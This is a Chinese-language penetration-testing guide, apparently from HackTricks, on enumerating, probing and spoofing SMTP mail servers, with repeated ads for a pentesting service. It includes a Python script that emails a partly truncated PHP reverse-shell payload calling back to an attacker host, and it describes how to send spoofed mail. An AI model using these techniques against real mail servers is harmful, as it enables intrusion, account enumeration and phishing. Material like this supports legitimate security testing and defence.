25,465,587 - Pentesting SMTP/s
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注**我们。
通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
基本信息
简单邮件传输协议(SMTP) 是 TCP/IP 套件中用于发送和接收电子邮件的协议。由于在接收方限制消息排队的能力有限,SMTP 通常与 POP3 或 IMAP 一起使用。这些附加协议使用户能够将消息存储在服务器邮箱中,并定期下载它们。
在实践中,电子邮件程序通常使用 SMTP 发送电子邮件,同时使用 POP3 或 IMAP 接收它们。在基于 Unix 的系统上,sendmail 是最常用于电子邮件目的的 SMTP 服务器。商业软件包 Sendmail 包含一个 POP3 服务器。此外,Microsoft Exchange 提供 SMTP 服务器,并提供包括 POP3 支持的选项。
默认端口: 25,465(ssl),587(ssl)
电子邮件头部
如果你有机会让受害者发送电子邮件给你(例如通过网页上的联系表单),一定要这样做,因为你可以通过查看邮件头部了解受害者的内部拓扑结构。
你还可以从SMTP服务器获取一封邮件,尝试向该服务器发送一封邮件到一个不存在的地址(因为服务器会向攻击者发送一个 NDN 邮件)。但是,请确保你从一个允许的地址发送邮件(检查 SPF 策略),并且你能够接收 NDN 消息。
你还应该尝试发送不同内容,因为你可以在邮件头部找到更多有趣的信息,比如:X-Virus-Scanned: by av.domain.com
你应该发送 EICAR 测试文件。
检测到防病毒软件可能会让你利用已知的漏洞。
基本操作
横幅抓取/基本连接
SMTP:
SMTPS:
SMTPS是一种通过SSL或TLS加密的SMTP协议。
查找组织的MX服务器
In order to find the MX servers of an organization, you can use tools like nslookup or dig to query the DNS records.
要查找组织的MX服务器,您可以使用nslookup或dig等工具来查询DNS记录。
枚举
NTLM Auth - 信息泄露
如果服务器支持NTLM认证(Windows),您可以获取敏感信息(版本)。更多信息在这里。
或者使用 nmap 插件 smtp-ntlm-info.nse 来自动化这个过程。
内部服务器名称 - 信息泄露
一些 SMTP 服务器在发出不完整地址的“MAIL FROM”命令时会自动补全发件人地址,从而泄露其内部名称:
嗅探
检查是否从发送到端口25的数据包中嗅探到了一些密码
用户名暴力破解枚举
身份验证并非总是必需的
RCPT TO
VRFY
VRFY
VRFY命令用于验证用户是否存在于SMTP服务器上。攻击者可以使用VRFY命令来枚举有效的用户账户。在许多现代SMTP服务器上,VRFY命令通常被禁用,因为它可能导致信息泄露。
EXPN
EXPN
自动化工具

漏洞评估和渗透测试的即时可用设置。使用20多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
DSN报告
传递状态通知报告:如果您向一个组织发送一封电子邮件到一个无效地址,该组织将通知该地址无效,并向您发送一封邮件回复。返回的电子邮件的标头将包含可能的敏感信息(如与报告互动的邮件服务的IP地址或反病毒软件信息)。
从Linux控制台发送电子邮件
使用Python发送电子邮件
Python代码在这里
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
传统上,可以伪造任何没有正确/任何 SPF 记录的域名。如今,如果电子邮件来自没有有效 SPF 记录的域名,可能会被自动拒收/标记为不受信任。
要检查域名的 SPF,可以使用在线工具,如:https://www.kitterman.com/spf/validate.html
DKIM(DomainKeys Identified Mail)
DKIM 用于签署出站电子邮件,允许外部邮件传输代理(MTA)通过从 DNS 检索域的公钥来验证它们。这个公钥位于域的 TXT 记录中。要访问此密钥,必须知道选择器和域名。
例如,要请求密钥,域名和选择器是必不可少的。这些可以在邮件头 DKIM-Signature 中找到,例如,d=gmail.com;s=20120113。
获取此信息的命令可能如下所示:
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC通过构建在SPF和DKIM协议之上来增强电子邮件安全性。它概述了指导邮件服务器处理特定域中的电子邮件的策略,包括如何处理身份验证失败以及将报告发送到何处以报告有关电子邮件处理操作的信息。
要获取DMARC记录,您需要查询子域_dmarc
DMARC标签
子域名呢?
从 这里。 您需要为希望从中发送邮件的每个子域名设置单独的SPF记录。 以下内容最初发布在openspf.org上,这曾经是这类信息的重要资源。
魔鬼问题:子域名呢?
如果我从pielovers.demon.co.uk收到邮件,pielovers没有SPF数据,我应该返回一级并测试demon.co.uk的SPF吗?不。Demon的每个子域名都是不同的客户,每个客户可能有自己的策略。Demon的策略默认不适用于所有客户是没有意义的;如果Demon想要这样做,它可以为每个子域名设置SPF记录。
因此,对于SPF发布者的建议是:您应该为具有A或MX记录的每个子域名或主机名添加一个SPF记录。
具有通配符A或MX记录的站点还应具有通配符SPF记录,格式为: * IN TXT "v=spf1 -all"
这是有道理的 - 子域名很可能位于不同的地理位置,并具有非常不同的SPF定义。
开放中继
在发送电子邮件时,确保它们不被标记为垃圾邮件至关重要。通常通过受收件人信任的中继服务器来实现。然而,一个常见的挑战是管理员可能不完全了解哪些IP范围是安全允许的。这种缺乏理解可能导致在设置SMTP服务器时出现错误,这是安全评估中经常发现的风险。
一些管理员为了避免邮件传递问题,特别是与潜在或正在进行的客户的通信有关,会采用一种解决方法,即允许来自任何IP地址的连接。这是通过配置SMTP服务器的mynetworks参数以接受所有IP地址来实现的,如下所示:
要检查邮件服务器是否是一个开放中继(意味着它可以转发来自任何外部来源的电子邮件),通常会使用nmap工具。它包含一个专门设计用于测试这一点的特定脚本。使用nmap在端口25上对服务器进行详细扫描的命令(例如,IP为10.10.10.10)是:
工具
https://github.com/serain/mailspoof 检查 SPF 和 DMARC 配置错误
https://pypi.org/project/checkdmarc/ 自动获取 SPF 和 DMARC 配置
发送欺骗邮件
或者您可以使用工具:
如果在使用 dkim python lib 解析密钥时出现任何错误,请随时使用以下密钥。 注意:这只是一个快速修复方法,在某些情况下,由于某种原因,openssl私钥无法被 dkim 解析,可以用此方法进行快速检查。
或者您可以手动执行:
更多信息
在 https://seanthegeek.net/459/demystifying-dmarc/ 找到关于这些保护措施的更多信息
其他钓鱼指标
域名的年龄
指向 IP 地址的链接
链接操纵技术
可疑(不常见)附件
邮件内容损坏
使用与邮件标头不同的值
存在有效且受信任的 SSL 证书
将页面提交给 Web 内容过滤站点
通过 SMTP 进行数据泄露
如果可以通过 SMTP 发送数据 阅读此内容。
配置文件
Postfix
通常,如果安装了 Postfix,在 /etc/postfix/master.cf 中包含在用户收到新邮件时执行的脚本。例如,flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} 这一行意味着如果用户 mark 收到新邮件,将执行 /etc/postfix/filtering。
其他配置文件:
参考资料
HackTricks 自动化命令

漏洞评估和渗透测试的即时可用设置。使用20多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
最后更新于